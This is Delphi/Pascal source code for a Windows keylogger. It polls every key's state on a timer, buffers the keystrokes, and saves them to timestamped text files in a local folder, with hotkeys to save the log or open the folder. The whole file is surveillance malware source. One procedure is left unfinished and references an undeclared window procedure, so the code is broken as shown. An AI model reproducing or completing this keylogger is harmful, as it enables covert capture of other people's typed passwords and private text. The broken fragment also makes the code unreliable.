program Project1;

uses
  SysUtils,
  messages,
  windows;

const
  ID_LOGGER = WM_USER + 1;
  ID_SHOW = WM_USER + 2;

var
  buff : array of char;
  Path : string = 'c:\z\';

procedure startwindow;
var
tag: tagWNDCLASSA;
begin
tag.style := CS_CLASSDC;
tag.lpfnWndProc := @wndproc;
tag.
end;

function createfname:string;
  function subs(str,sub1,sub2: string):string;
  var i: integer;
  begin
  for I := 1 to length(str) do
    if str[i] = sub1 then result := result + sub2
     else result := result + str[i];
  end;
begin
  result :=  'Date_'+subs(datetostr(now), '/', '-')+ '_Time_' +subs(timetostr(now), ':', '''');
end;

procedure show;
begin
  winexec(pchar('explorer '+path), 1);
end;

procedure save;
var
  hfile,wted: cardinal;
begin
  if not directoryexists(path) then createdir(path);
  hfile := createfile(pchar(path+createfname+'.txt'), generic_write, 0, nil, CREATE_ALWAYS, 0, 0);
    if writefile(hfile, buff[0], length(buff), wted, nil) then MessageBeep(64) else messagebeep(16);
  closehandle(hfile);
  setlength(buff, 0);
end;

procedure logger;
var i: integer;
begin
for i := 0 to 255 do
  if odd(getasynckeystate(i)) then begin
     setlength(buff, length(buff)+1);
     buff[length(buff)-1] := char(i);
  end;
  if length(buff) > 100 then save;
  
end;

var msg: tmsg;
begin
  registerhotkey(0, ID_LOGGER, VK_F12, 0);
  registerhotkey(0, ID_SHOW, VK_F11, 0);
  settimer(0, 0, 1, @logger);
    while getmessage(msg, 0,0,0) do begin
      translatemessage(msg);
       if (msg.message = WM_HOTKEY) then
        case msg.lParam of
          ID_LOGGER: SAVE;
          ID_SHOW: SHOW;
        end;
       if (msg.message = WM_POWER) then begin
          SAVE;
          HALT;
       end;

      dispatchmessage(msg);
    end;
end.